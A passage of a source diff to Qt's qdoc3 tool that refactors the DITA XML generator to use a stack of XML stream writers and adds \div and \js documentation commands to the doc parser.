                     FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom();
-                    writer.writeStartElement(CXXDEFINEREIMPLEMENTED);
-                    writer.writeAttribute("href",rfn->ditaXmlHref());
-                    writer.writeCharacters(marker->plainFullName(rfn));
-                    writer.writeEndElement(); // </cxxDefineReimplemented>
+                    xmlWriter().writeStartElement(CXXDEFINEREIMPLEMENTED);
+                    xmlWriter().writeAttribute("href",rfn->ditaXmlHref());
+                    writeCharacters(marker->plainFullName(rfn));
+                    xmlWriter().writeEndElement(); // </cxxDefineReimplemented>
                 }
 
                 if (fn->metaness() == FunctionNode::MacroWithParams) {
                     QStringList params = fn->parameterNames();
                     if (!params.isEmpty()) {
-                        writer.writeStartElement(CXXDEFINEPARAMETERS);
+                        xmlWriter().writeStartElement(CXXDEFINEPARAMETERS);
                         for (int i = 0; i < params.size(); ++i) {
-                            writer.writeStartElement(CXXDEFINEPARAMETER);
-                            writer.writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME);
-                            writer.writeCharacters(params[i]);
-                            writer.writeEndElement(); // <cxxDefineParameterDeclarationName>
-                            writer.writeEndElement(); // <cxxDefineParameter>
+                            xmlWriter().writeStartElement(CXXDEFINEPARAMETER);
+                            xmlWriter().writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME);
+                            writeCharacters(params[i]);
+                            xmlWriter().writeEndElement(); // <cxxDefineParameterDeclarationName>
+
+                            // not included: <apiDefNote>
+
+                            xmlWriter().writeEndElement(); // <cxxDefineParameter>
                         }
-                        writer.writeEndElement(); // <cxxDefineParameters>
+                        xmlWriter().writeEndElement(); // <cxxDefineParameters>
                     }
                 }
 
                 writeLocation(fn);
-                writer.writeEndElement(); // <cxxDefineDefinition>
-                writer.writeStartElement(APIDESC);
+                xmlWriter().writeEndElement(); // <cxxDefineDefinition>
 
-                if (!fn->doc().isEmpty()) {
-                    generateBody(fn, marker);
-                }
+                writeDetailedDescription(fn, marker, true, QString());
+
+                // not included: <example> or <apiImpl>
 
-                writer.writeEndElement(); // </apiDesc>
-                writer.writeEndElement(); // </cxxDefineDetail>
-                writer.writeEndElement(); // </cxxDefine>
+                xmlWriter().writeEndElement(); // </cxxDefineDetail>
+
+                // not included: <related-links>
+
+                xmlWriter().writeEndElement(); // </cxxDefine>
             }
         }
         ++m;
     }
 }
 
-void DitaXmlGenerator::writePropParams(const QString& tag, const NodeList& nlist)
+/*!
+  This function writes one parameter of a Q_PROPERTY macro.
+  The property is identified by \a tag ("READ" "WRIE" etc),
+  and it is found in the 'a nlist.
+ */
+void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList& nlist)
 {
     NodeList::const_iterator n = nlist.begin();
     while (n != nlist.end()) {
-        writer.writeCharacters(" ");
-        writer.writeCharacters(tag);
-        writer.writeCharacters(" ");
-        writer.writeCharacters((*n)->name());
+        xmlWriter().writeCharacters(" ");
+        writeCharacters(tag);
+        xmlWriter().writeCharacters(" ");
+        writeCharacters((*n)->name());
         ++n;
     }
 }
 
+/*!
+  Calls beginSubPage() in the base class to open the file.
+  Then creates a new XML stream writer using the IO device
+  from opened file and pushes the XML writer onto a stackj. 
+  Creates the file named \a fileName in the output directory.
+  Attaches a QTextStream to the created file, which is written
+  to all over the place using out(). Finally, it sets some
+  parameters in the XML writer and calls writeStartDocument().
+ */
+void DitaXmlGenerator::beginSubPage(const Location& location,
+                                    const QString& fileName)
+{
+    PageGenerator::beginSubPage(location,fileName);
+    (void) lookupGuidMap(fileName);
+    QXmlStreamWriter* writer = new QXmlStreamWriter(out().device());
+    xmlWriterStack.push(writer);
+    writer->setAutoFormatting(true);
+    writer->setAutoFormattingIndent(4);
+    writer->writeStartDocument();
+}
+
+/*!
+  Calls writeEndDocument() and then pops the XML stream writer
+  off the stack and deletes it. Then it calls endSubPage() in
+  the base class to close the device.
+ */
+void DitaXmlGenerator::endSubPage()
+{
+    xmlWriter().writeEndDocument();
+    delete xmlWriterStack.pop();
+    PageGenerator::endSubPage();
+}
+
+/*!
+  Returns a reference to the XML stream writer currently in use.
+  There is one XML stream writer open for each XML file being
+  written, and they are kept on a stack. The one on top of the
+  stack is the one being written to at the moment.
+ */
+QXmlStreamWriter& DitaXmlGenerator::xmlWriter()
+{
+    return *xmlWriterStack.top();
+}
+
+/*!
+  Writes the \e {Detailed Description} section(s) for \a node to the
+  current XML stream using the code \a marker. if the \a apiDesc flag
+  is true, then the first section of the sequence of sections written
+  will be an \c {apiDesc>} element with a \e {spectitle} attribute of
+  \e {Detailed Description}. Otherwise, the first section will be a
+  \c {<section>} element with a \c {<title>} element of \e {Detailed
+  Description}. This function calls the Generator::generateBody()
+  function to write the XML for the section list.
+ */
+void DitaXmlGenerator::writeDetailedDescription(const Node* node,
+                                                CodeMarker* marker,
+                                                bool apiDesc,
+                                                const QString& title)
+{
+    if (!node->doc().isEmpty()) {
+        inDetailedDescription = true;
+        if (apiDesc) {
+            inApiDesc = true;
+            xmlWriter().writeStartElement("apiDesc");
+            if (!title.isEmpty()) {
+                writeGuidAttribute(title);
+                xmlWriter().writeAttribute("spectitle",title);
+            }
+            else
+                writeGuidAttribute("Detailed Description");
+            xmlWriter().writeAttribute("outputclass","details");
+        }
+        else {
+            inSection = true;
+            xmlWriter().writeStartElement("section");
+            if (!title.isEmpty()) {
+                writeGuidAttribute(title);
+                xmlWriter().writeAttribute("outputclass","details");
+                xmlWriter().writeStartElement("title");
+                xmlWriter().writeAttribute("outputclass","h2");
+                writeCharacters(title);
+                xmlWriter().writeEndElement(); // </title>
+            }
+            else {
+                writeGuidAttribute("Detailed Description");
+                xmlWriter().writeAttribute("outputclass","details");
+            }
+        }
+        generateBody(node, marker);
+        if (inApiDesc) {
+            xmlWriter().writeEndElement(); // </apiDesc>
+            inApiDesc = false;
+        }
+        else if (inSection) {
+            xmlWriter().writeEndElement(); // </section>
+            inSection = false;
+        }
+    }
+    inDetailedDescription = false;
+}
+
+/*!
+  Write the nested class elements.
+ */
+void DitaXmlGenerator::writeNestedClasses(const Section& s, 
+                                          const Node* n)
+{
+    if (s.members.isEmpty())
+        return;
+    xmlWriter().writeStartElement("cxxClassNested");
+    xmlWriter().writeStartElement("cxxClassNestedDetail");
+    
+    NodeList::ConstIterator m = s.members.begin();
+    while (m != s.members.end()) {
+        if ((*m)->type() == Node::Class) {
+            xmlWriter().writeStartElement("cxxClassNestedClass");
+            QString link = linkForNode((*m), n);
+            xmlWriter().writeAttribute("href", link);
+            QString name = n->name() + "::" + (*m)->name();
+            writeCharacters(name);
+            xmlWriter().writeEndElement(); // <cxxClassNestedClass>
+        }
+        ++m;
+    }
+    xmlWriter().writeEndElement(); // <cxxClassNestedDetail>
+    xmlWriter().writeEndElement(); // <cxxClassNested>
+}
+
+/*!
+  Recursive writing of DITA XML files from the root \a node.
+ */
+void
+DitaXmlGenerator::generateInnerNode(const InnerNode* node)
+{
+    if (!node->url().isNull())
+        return;
+
+    if (node->type() == Node::Fake) {
+        const FakeNode *fakeNode = static_cast<const FakeNode *>(node);
+        if (fakeNode->subType() == Node::ExternalPage)
+            return;
+        if (fakeNode->subType() == Node::Image)
+            return;
+        if (fakeNode->subType() == Node::QmlPropertyGroup)
+            return;
+        if (fakeNode->subType() == Node::Page) {
+            if (node->count() > 0)
+                qDebug("PAGE %s HAS CHILDREN", qPrintable(fakeNode->title()));
+        }
+    }
+
+    /*
+      Obtain a code marker for the source file.
+     */
+    CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath());
+
+    if (node->parent() != 0) {
+	beginSubPage(node->location(), fileName(node));
+	if (node->type() == Node::Namespace || node->type() == Node::Class) {
+	    generateClassLikeNode(node, marker);
+	}
+        else if (node->type() == Node::Fake) {
+            if (node->subType() == Node::HeaderFile)
+                generateClassLikeNode(node, marker);
+            else if (node->subType() == Node::QmlClass)
+                generateClassLikeNode(node, marker);
+            else
+                generateFakeNode(static_cast<const FakeNode*>(node), marker);
+	}
+	endSubPage();
+    }
+
+    NodeList::ConstIterator c = node->childNodes().begin();
+    while (c != node->childNodes().end()) {
+	if ((*c)->isInnerNode() && (*c)->access() != Node::Private)
+	    generateInnerNode((const InnerNode*) *c);
+	++c;
+    }
+}
+
+/*!
+  Returns true if \a format is "XML" or "HTML" .
+ */
+bool DitaXmlGenerator::canHandleFormat(const QString& format)
+{
+    return (format == "HTML") || (format == this->format());
+}
+
+void DitaXmlGenerator::writeDitaMap()
+{
+    beginSubPage(Location(),"qt-dita-map.xml");
+
+    QString doctype;
+    doctype = "<!DOCTYPE cxxAPIMap PUBLIC \"-//NOKIA//DTD DITA C++ API Map Reference Type v0.6.0//EN\" \"dtd/cxxAPIMap.dtd\">";
+
+    xmlWriter().writeDTD(doctype);
+    xmlWriter().writeStartElement("cxxAPIMap");
+    xmlWriter().writeAttribute("id","Qt-DITA-Map");
+    xmlWriter().writeAttribute("title","Qt DITA Map");
+    xmlWriter().writeStartElement("topicmeta");
+    xmlWriter().writeStartElement("shortdesc");
+    xmlWriter().writeCharacters("The top level map for the Qt documentation");
+    xmlWriter().writeEndElement(); // </shortdesc>
+    xmlWriter().writeEndElement(); // </topicmeta>
+    GuidMaps::iterator i = guidMaps.begin();
+    while (i != guidMaps.end()) {
+        xmlWriter().writeStartElement("topicref");
+        xmlWriter().writeAttribute("href",i.key());
+        xmlWriter().writeAttribute("type","topic");
+        xmlWriter().writeEndElement(); // </topicref>
+        ++i;
+    }
+    endSubPage();
+}
+
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h
index eac0a82..4aae657 100644
--- a/tools/qdoc3/ditaxmlgenerator.h
+++ b/tools/qdoc3/ditaxmlgenerator.h
@@ -39,10 +39,6 @@
 **
 ****************************************************************************/
 
-/*
-  ditaxmlgenerator.h
-*/
-
 #ifndef DITAXMLGENERATOR_H
 #define DITAXMLGENERATOR_H
 
@@ -61,7 +57,8 @@ typedef QMap<Node*, NodeMultiMap> ParentMaps;
 typedef QMap<QString, const Node*> NodeMap;
 typedef QMap<QString, NodeMap> NewClassMaps;
 
-class HelpProjectWriter;
+typedef QMap<QString, QString> GuidMap;
+typedef QMap<QString, GuidMap*> GuidMaps;
 
 class DitaXmlGenerator : public PageGenerator
 {
@@ -91,110 +88,111 @@ class DitaXmlGenerator : public PageGenerator
     virtual void initializeGenerator(const Config& config);
     virtual void terminateGenerator();
     virtual QString format();
-    virtual void generateTree(const Tree *tree, CodeMarker *marker);
+    virtual bool canHandleFormat(const QString& format);
+    virtual void generateTree(const Tree *tree);
 
-    QString protectEnc(const QString &string);
-    static QString protect(const QString &string, const QString &encoding = "ISO-8859-1");
+    QString protectEnc(const QString& string);
+    static QString protect(const QString& string, const QString& encoding = "ISO-8859-1");
     static QString cleanRef(const QString& ref);
     static QString sinceTitle(int i) { return sinceTitles[i]; }
 
  protected:
-    virtual void startText(const Node *relative, CodeMarker *marker);
-    virtual int generateAtom(const Atom *atom, 
-                             const Node *relative,
-                             CodeMarker *marker);
-    virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker);
-    virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker);
-    virtual QString fileExtension(const Node *node) const;
-    virtual QString refForNode(const Node *node);
-    virtual QString linkForNode(const Node *node, const Node *relative);
-    virtual QString refForAtom(Atom *atom, const Node *node);
+    virtual void startText(const Node* relative, CodeMarker* marker);
+    virtual int generateAtom(const Atom* atom, 
+                             const Node* relative,
+                             CodeMarker* marker);
+    virtual void generateClassLikeNode(const InnerNode* inner, CodeMarker* marker);
+    virtual void generateFakeNode(const FakeNode* fake, CodeMarker* marker);
+    virtual QString fileExtension(const Node* node) const;
+    virtual QString refForNode(const Node* node);
+    virtual QString guidForNode(const Node* node);
+    virtual QString linkForNode(const Node* node, const Node* relative);
+    virtual QString refForAtom(Atom* atom, const Node* node);
     
+    void writeXrefListItem(const QString& link, const QString& text);
     QString fullQualification(const Node* n);
 
+    void writeCharacters(const QString& text);
     void writeDerivations(const ClassNode* cn, CodeMarker* marker);
     void writeLocation(const Node* n);
     void writeFunctions(const Section& s, 
-                        const ClassNode* cn, 
-                        CodeMarker* marker);
-    void writeParameters(const FunctionNode* fn, CodeMarker* marker);
+                        const Node* n, 
+                        CodeMarker* marker,
+                        const QString& attribute = QString());
+    void writeNestedClasses(const Section& s, const Node* n);
+    void writeParameters(const FunctionNode* fn);
     void writeEnumerations(const Section& s, 
-                           const ClassNode* cn, 
-                           CodeMarker* marker);
+                           CodeMarker* marker,
+                           const QString& attribute = QString());
     void writeTypedefs(const Section& s, 
-                       const ClassNode* cn, 
-                       CodeMarker* marker);
+                       CodeMarker* marker,
+                       const QString& attribute = QString());
     void writeDataMembers(const Section& s, 
-                          const ClassNode* cn, 
-                          CodeMarker* marker);
+                          CodeMarker* marker,
+                          const QString& attribute = QString());
     void writeProperties(const Section& s, 
-                         const ClassNode* cn, 
-                         CodeMarker* marker);
+                         CodeMarker* marker,
+                         const QString& attribute = QString());
     void writeMacros(const Section& s, 
-                     const ClassNode* cn, 
-                     CodeMarker* marker);
-    void writePropParams(const QString& tag, const NodeList& nlist);
+                     CodeMarker* marker,
+                     const QString& attribute = QString());
+    void writePropertyParameter(const QString& tag, const NodeList& nlist);
+    void writeRelatedLinks(const FakeNode* fake, CodeMarker* marker);
+    void writeLink(const Node* node, const QString& tex, const QString& role);
 
  private:
     enum SubTitleSize { SmallSubTitle, LargeSubTitle };
 
-    const QPair<QString,QString> anchorForNode(const Node *node);
-    const Node *findNodeForTarget(const QString &target, 
-                                  const Node *relative,
-                                  CodeMarker *marker, 
-                                  const Atom *atom = 0);
-    void generateBreadCrumbs(const QString& title,
-                             const Node *node,
-                             CodeMarker *marker);
-    void generateHeader(const Node* node);
-    void generateTitle(const QString& title, 
-                       const Text &subTitle, 
-                       SubTitleSize subTitleSize,
-                       const Node *relative, 
-                       CodeMarker *marker);
+    const QPair<QString,QString> anchorForNode(const Node* node);
+    const Node* findNodeForTarget(const QString& target, 
+                                  const Node* relative,
+                                  CodeMarker* marker, 
+                                  const Atom* atom = 0);
+    void generateHeader(const Node* node, 
+                        const QString& name,
+                        bool subpage = false);
     void generateBrief(const Node* node, CodeMarker* marker);
-    void generateIncludes(const InnerNode *inner, CodeMarker *marker);
-    void generateTableOfContents(const Node *node, 
-                                 CodeMarker *marker,
+    void generateIncludes(const InnerNode* inner, CodeMarker* marker);
+    void generateTableOfContents(const Node* node, 
+                                 CodeMarker* marker,
                                  Doc::SectioningUnit sectioningUnit,
                                  int numColumns, 
-                                 const Node *relative = 0);
-    void generateTableOfContents(const Node *node, 
-                                 CodeMarker *marker, 
+                                 const Node* relative = 0);
+    void generateTableOfContents(const Node* node, 
+                                 CodeMarker* marker, 
                                  QList<Section>* sections = 0);
-    QString generateListOfAllMemberFile(const InnerNode *inner, CodeMarker *marker);
-    QString generateLowStatusMemberFile(const InnerNode *inner, 
-                                        CodeMarker *marker,
+    void generateLowStatusMembers(const InnerNode* inner,
+                                  CodeMarker* marker,
+                                  CodeMarker::Status status);
+    QString generateLowStatusMemberFile(const InnerNode* inner, 
+                                        CodeMarker* marker,
                                         CodeMarker::Status status);
-    void generateClassHierarchy(const Node *relative, 
-                                CodeMarker *marker,
-				const NodeMap &classMap);
-    void generateAnnotatedList(const Node *relative, 
-                               CodeMarker *marker,
-			       const NodeMap &nodeMap);
-    void generateCompactList(const Node *relative, 
-                             CodeMarker *marker,
-			     const NodeMap &classMap,
+    void generateClassHierarchy(const Node* relative, 
+                                CodeMarker* marker,
+				const NodeMap& classMap);
+    void generateAnnotatedList(const Node* relative, 
+                               CodeMarker* marker,
+			       const NodeMap& nodeMap);
+    void generateCompactList(const Node* relative, 
+                             CodeMarker* marker,
+			     const NodeMap& classMap,
                              bool includeAlphabet,
                              QString commonPrefix = QString());
-    void generateFunctionIndex(const Node *relative, CodeMarker *marker);
-    void generateLegaleseList(const Node *relative, CodeMarker *marker);
-    void generateOverviewList(const Node *relative, CodeMarker *marker);
-    void generateSectionList(const Section& section, 
-                             const Node *relative,
-			     CodeMarker *marker, 
-                             CodeMarker::SynopsisStyle style);
+    void generateFunctionIndex(const Node* relative, CodeMarker* marker);
+    void generateLegaleseList(const Node* relative, CodeMarker* marker);
+    void generateOverviewList(const Node* relative, CodeMarker* marker);
+
 #ifdef QDOC_QML
     void generateQmlSummary(const Section& section,
-                            const Node *relative,
-                            CodeMarker *marker);
-    void generateQmlItem(const Node *node,
-                         const Node *relative,
-                         CodeMarker *marker,
+                            const Node* relative,
+                            CodeMarker* marker);
+    void generateQmlItem(const Node* node,
+                         const Node* relative,
+                         CodeMarker* marker,
                          bool summary);
-    void generateDetailedQmlMember(const Node *node,
-                                   const InnerNode *relative,
-                                   CodeMarker *marker);
+    void generateDetailedQmlMember(const Node* node,
+                                   const InnerNode* relative,
+                                   CodeMarker* marker);
     void generateQmlInherits(const QmlClassNode* cn, CodeMarker* marker);
     void generateQmlInheritedBy(const QmlClassNode* cn, CodeMarker* marker);
     void generateQmlInstantiates(const QmlClassNode* qcn, CodeMarker* marker);
@@ -202,41 +200,31 @@ class DitaXmlGenerator : public PageGenerator
 #endif
 
     void generateSection(const NodeList& nl,
-                         const Node *relative,
-                         CodeMarker *marker,
+                         const Node* relative,
+                         CodeMarker* marker,
                          CodeMarker::SynopsisStyle style);
-    void generateSynopsis(const Node *node, 
-                          const Node *relative, 
-                          CodeMarker *marker,
-			  CodeMarker::SynopsisStyle style,
-                          bool nameAlignment = false);
+    QString getMarkedUpSynopsis(const Node* node, 
+                                const Node* relative, 
+                                CodeMarker* marker,
+                                CodeMarker::SynopsisStyle style);
     void generateSectionInheritedList(const Section& section, 
-                                      const Node *relative,
-                                      CodeMarker *marker,
-                                      bool nameAlignment = false);
-    QString highlightedCode(const QString& markedCode, 
-                            CodeMarker *marker, 
-                            const Node *relative,
-                            CodeMarker::SynopsisStyle style = CodeMarker::Accessors,
-                            bool nameAlignment = false);
+                                      const Node* relative,
+                                      CodeMarker* marker);
+    void writeText(const QString& markedCode, 
+                   CodeMarker* marker, 
+                   const Node* relative);
 
-    void generateFullName(const Node *apparentNode, 
-                          const Node *relative, 
-                          CodeMarker *marker,
-			  const Node *actualNode = 0);
-    void generateDetailedMember(const Node *node, 
-                                const InnerNode *relative, 
-                                CodeMarker *marker);
-    void generateLink(const Atom *atom, 
-                      const Node *relative, 
-                      CodeMarker *marker);
-    void generateStatus(const Node *node, CodeMarker *marker);
+    void generateFullName(const Node* apparentNode, 
+                          const Node* relative, 
+                          CodeMarker* marker,
+			  const Node* actualNode = 0);
+    void generateLink(const Atom* atom, 
+                      const Node* relative, 
+                      CodeMarker* marker);
+    void generateStatus(const Node* node, CodeMarker* marker);
     
     QString registerRef(const QString& ref);
-    QString fileBase(const Node *node);
-#if 0
-    QString fileBase(const Node *node, const SectionIterator& section);
-#endif
+    QString fileBase(const Node *node) const;
     QString fileName(const Node *node);
     void findAllClasses(const InnerNode *node);
     void findAllFunctions(const InnerNode *node);
@@ -248,38 +236,42 @@ class DitaXmlGenerator : public PageGenerator
     virtual QString getLink(const Atom *atom, 
                             const Node *relative, 
                             CodeMarker *marker, 
-                            const Node** node);
-    virtual void generateIndex(const QString &fileBase, 
-                               const QString &url,
-                               const QString &title);
+                            const Node **node);
+    virtual void generateIndex(const QString& fileBase, 
+                               const QString& url,
+                               const QString& title);
 #ifdef GENERATE_MAC_REFS    
-    void generateMacRef(const Node *node, CodeMarker *marker);
+    void generateMacRef(const Node* node, CodeMarker* marker);
 #endif
-    void beginLink(const QString &link, 
-                   const Node *node, 
-                   const Node *relative, 
-                   CodeMarker *marker);
+    void beginLink(const QString& link); 
     void endLink();
-    bool generatePageElement(QXmlStreamWriter& writer, 
-                             const Node* node, 
-                             CodeMarker* marker) const;
-    void generatePageElements(QXmlStreamWriter& writer, 
-                              const Node* node, 
-                              CodeMarker* marker) const;
-    void generatePageIndex(const QString& fileName, 
-                           CodeMarker* marker) const;
     QString writeGuidAttribute(QString text);
+    void writeGuidAttribute(Node* node);
     QString lookupGuid(QString text);
+    QString lookupGuid(const QString& fileName, const QString& text);
+    GuidMap* lookupGuidMap(const QString& fileName);
+    virtual void beginSubPage(const Location& location, const QString& fileName);
+    virtual void endSubPage();
+    virtual void generateInnerNode(const InnerNode* node);
+    QXmlStreamWriter& xmlWriter();
+    void writeDetailedDescription(const Node* node,
+                                  CodeMarker* marker,
+                                  bool apiDesc,
+                                  const QString& title);
+    void addLink(const QString& href, const QStringRef& text);
+    void writeDitaMap();
 
  private:
     QMap<QString, QString> refMap;
     QMap<QString, QString> name2guidMap;
+    GuidMaps guidMaps;
     int codeIndent;
     bool inLink;
     bool inObsoleteLink;
     bool inContents;
     bool inSectionHeading;
     bool inTableHeader;
+    bool inTableBody;
     int numTableRows;
     bool threeColumnEnumValueTable;
     bool offlineDocs;
@@ -298,10 +290,10 @@ class DitaXmlGenerator : public PageGenerator
     QString navigationLinks;
     QStringList stylesheets;
     QStringList customHeadElements;
-    const Tree *myTree;
-    bool slow;
+    const Tree* myTree;
     bool obsoleteLinks;
-    int noLinks;
+    bool noLinks;
+    int tableColumnCount;
     QMap<QString, NodeMap > moduleClassMap;
     QMap<QString, NodeMap > moduleNamespaceMap;
     NodeMap nonCompatClasses;
@@ -314,13 +306,18 @@ class DitaXmlGenerator : public PageGenerator
     NodeMap qmlClasses;
 #endif
     QMap<QString, NodeMap > funcIndex;
-    QMap<Text, const Node *> legaleseTexts;
+    QMap<Text, const Node*> legaleseTexts;
     NewSinceMaps newSinceMaps;
     static QString sinceTitles[];
     NewClassMaps newClassMaps;
     NewClassMaps newQmlClassMaps;
     static int id;
-    QXmlStreamWriter    writer;
+    static bool inApiDesc;
+    static bool inSection;
+    static bool inDetailedDescription;
+    static bool inLegaleseText;
+
+    QStack<QXmlStreamWriter*> xmlWriterStack;
 };
 
 #define DITAXMLGENERATOR_ADDRESS           "address"
@@ -335,4 +332,3 @@ class DitaXmlGenerator : public PageGenerator
 QT_END_NAMESPACE
 
 #endif
-
diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp
index 205f3c5..a730799 100644
--- a/tools/qdoc3/doc.cpp
+++ b/tools/qdoc3/doc.cpp
@@ -48,7 +48,6 @@
 #include "text.h"
 #include "tokenizer.h"
 #include <qdatetime.h>
-#include <qdebug.h>
 #include <qfile.h>
 #include <qfileinfo.h>
 #include <qhash.h>
@@ -75,11 +74,11 @@ struct Macro
 enum {
     CMD_A, CMD_ABSTRACT, CMD_ANNOTATEDLIST, CMD_BADCODE,
     CMD_BASENAME, CMD_BOLD, CMD_BRIEF, CMD_C, CMD_CAPTION,
-    CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DOTS, CMD_ELSE,
-    CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE,
-    CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE, CMD_ENDLINK,
-    CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART, CMD_ENDQUOTATION,
-    CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2,
+    CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DIV, CMD_DOTS,
+    CMD_ELSE, CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE,
+    CMD_ENDDIV, CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE,
+    CMD_ENDLINK, CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART,
+    CMD_ENDQUOTATION, CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2,
     CMD_ENDSECTION3, CMD_ENDSECTION4, CMD_ENDSIDEBAR,
     CMD_ENDTABLE, CMD_EXPIRE, CMD_FOOTNOTE, CMD_GENERATELIST,
     CMD_GRANULARITY, CMD_HEADER, CMD_I, CMD_IF, CMD_IMAGE,
@@ -97,6 +96,7 @@ enum {
 #ifdef QDOC_QML    
     CMD_QML, CMD_ENDQML, CMD_CPP, CMD_ENDCPP, CMD_QMLTEXT,
     CMD_ENDQMLTEXT, CMD_CPPTEXT, CMD_ENDCPPTEXT,
+    CMD_JS, CMD_ENDJS,
 #endif    
     NOT_A_CMD
 };
@@ -118,11 +118,13 @@ static struct {
     { "chapter", CMD_CHAPTER, 0 },
     { "code", CMD_CODE, 0 },
     { "codeline", CMD_CODELINE, 0},
+    { "div", CMD_DIV, 0 },
     { "dots", CMD_DOTS, 0 },
     { "else", CMD_ELSE, 0 },
     { "endabstract", CMD_ENDABSTRACT, 0 },
     { "endchapter", CMD_ENDCHAPTER, 0 },
     { "endcode", CMD_ENDCODE, 0 },
+    { "enddiv", CMD_ENDDIV, 0 },
     { "endfootnote", CMD_ENDFOOTNOTE, 0 },
     { "endif", CMD_ENDIF, 0 },
     { "endlegalese", CMD_ENDLEGALESE, 0 },
@@ -201,6 +203,8 @@ static struct {
     { "endqmltext", CMD_ENDQMLTEXT, 0 },
     { "cpptext", CMD_CPPTEXT, 0 },
     { "endcpptext", CMD_ENDCPPTEXT, 0 },
+    { "js", CMD_JS, 0 },
+    { "endjs", CMD_ENDJS, 0 },
 #endif
     { 0, 0, 0 }
 };
@@ -225,13 +229,13 @@ class DocPrivateExtra
     QStringMap          metaMap;
 
     DocPrivateExtra()
-	: granularity(Doc::Part) { }
+        : granularity(Doc::Part) { }
 };
 
 struct Shared // ### get rid of
 {
     Shared()
-	: count(1) { }
+        : count(1) { }
     void ref() { ++count; }
     bool deref() { return (--count == 0); }
 
@@ -301,7 +305,7 @@ void DocPrivate::addAlso(const Text& also)
 void DocPrivate::constructExtra()
 {
     if (extra == 0)
-	extra = new DocPrivateExtra;
+        extra = new DocPrivateExtra;
 }
 
 bool DocPrivate::isEnumDocSimplifiable() const
@@ -350,7 +354,7 @@ class DocParser
   private:
     Location& location();
     QString detailsUnknownCommand(const QSet<QString>& metaCommandSet,
-				   const QString& str);
+                                   const QString& str);
     void checkExpiry(const QString& date);
     void insertBaseName(const QString &baseName);
     void insertTarget(const QString& target, bool keyword);
@@ -365,16 +369,18 @@ class DocParser
     void appendChar(QChar ch);
     void appendWord(const QString &word);
     void appendToCode(const QString &code);
+    void appendToCode(const QString &code, Atom::Type defaultType);
     void startNewPara();
     void enterPara(Atom::Type leftType = Atom::ParaLeft,
-		    Atom::Type rightType = Atom::ParaRight,
-		    const QString& string = "");
+                    Atom::Type rightType = Atom::ParaRight,
+                    const QString& string = "");
     void leavePara();
     void leaveValue();
     void leaveValueList();
     void leaveTableRow();
     CodeMarker *quoteFromFile();
     void expandMacro(const QString& name, const QString& def, int numParams);
+    QString expandMacroToString(const QString &name, const QString &def, int numParams);
     Doc::SectioningUnit getSectioningUnit();
     QString getArgument(bool verbatim = false);
     QString getOptionalArgument();
@@ -534,7 +540,7 @@ void DocParser::parse(const QString& source,
                         enterPara();
                         x = untabifyEtc(getArgument(true));
                         marker = CodeMarker::markerForCode(x);
-                        append(Atom::C, marker->markedUpCode(x, 0, ""));
+                        append(Atom::C, marker->markedUpCode(x, 0, location()));
                         break;
                     case CMD_CAPTION:
                         leavePara();
@@ -547,15 +553,26 @@ void DocParser::parse(const QString& source,
                         leavePara();
                         append(Atom::Code, getCode(CMD_CODE, marker));
                         break;
-#ifdef QDOC_QML        
+#ifdef QDOC_QML
                     case CMD_QML:
                         leavePara();
-                        append(Atom::Qml, getCode(CMD_QML, marker));
+                        append(Atom::Qml, getCode(CMD_QML, CodeMarker::markerForLanguage(QLatin1String("QML"))));
                         break;
                     case CMD_QMLTEXT:
                         append(Atom::QmlText);
                         break;
-#endif                        
+                    case CMD_JS:
+                        leavePara();
+                        append(Atom::JavaScript, getCode(CMD_JS, CodeMarker::markerForLanguage(QLatin1String("JavaScript"))));
+                        break;
+#endif
+                    case CMD_DIV:
+                        leavePara();
+                        x = getArgument(true);
+                        append(Atom::Div, x);
+                        openedCommands.push(cmd);
+                        enterPara();
+                        break;
                     case CMD_CODELINE:
                         {
                             if (!quoting) {
@@ -623,6 +640,11 @@ void DocParser::parse(const QString& source,
                     case CMD_ENDCODE:
                         closeCommand(cmd);
                         break;
+                    case CMD_ENDDIV:
+                        leavePara();
+                        append(Atom::EndDiv);
+                        closeCommand(cmd);
+                        break;
 #ifdef QDOC_QML
                     case CMD_ENDQML:
                         closeCommand(cmd);
@@ -630,6 +652,9 @@ void DocParser::parse(const QString& source,
                     case CMD_ENDQMLTEXT:
                         append(Atom::EndQmlText);
                         break;
+                    case CMD_ENDJS:
+                        closeCommand(cmd);
+                        break;
 #endif                        
                     case CMD_ENDFOOTNOTE:
                         if (closeCommand(cmd)) {
@@ -1088,9 +1113,8 @@ void DocParser::parse(const QString& source,
                                 append(Atom::SnippetIdentifier, identifier);
                             }
                             else {
-                                Doc::quoteFromFile(location(),quoter,snippet);
-                                appendToCode(quoter.quoteSnippet(location(),
-                                                                 identifier));
+                                marker = Doc::quoteFromFile(location(),quoter,snippet);
+                                appendToCode(quoter.quoteSnippet(location(), identifier), marker->atomType());
                             }
                         }
                         break;
@@ -1229,7 +1253,7 @@ void DocParser::parse(const QString& source,
                                 }
                                 else {
                                     location().push(macro.defaultDefLocation.filePath());
-                                    in.insert(pos, macro.defaultDef);
+                                    in.insert(pos, expandMacroToString(cmdStr, macro.defaultDef, macro.numParams));
                                     len = in.length();
                                     openedInputs.push(pos + macro.defaultDef.length());
                                 }
@@ -1465,35 +1489,35 @@ void DocParser::checkExpiry(const QString& date)
     QRegExp ymd("(\\d{4})(?:-(\\d{2})(?:-(\\d{2})))");
 
     if (ymd.exactMatch(date)) {
-	int y = ymd.cap(1).toInt();
-	int m = ymd.cap(2).toInt();
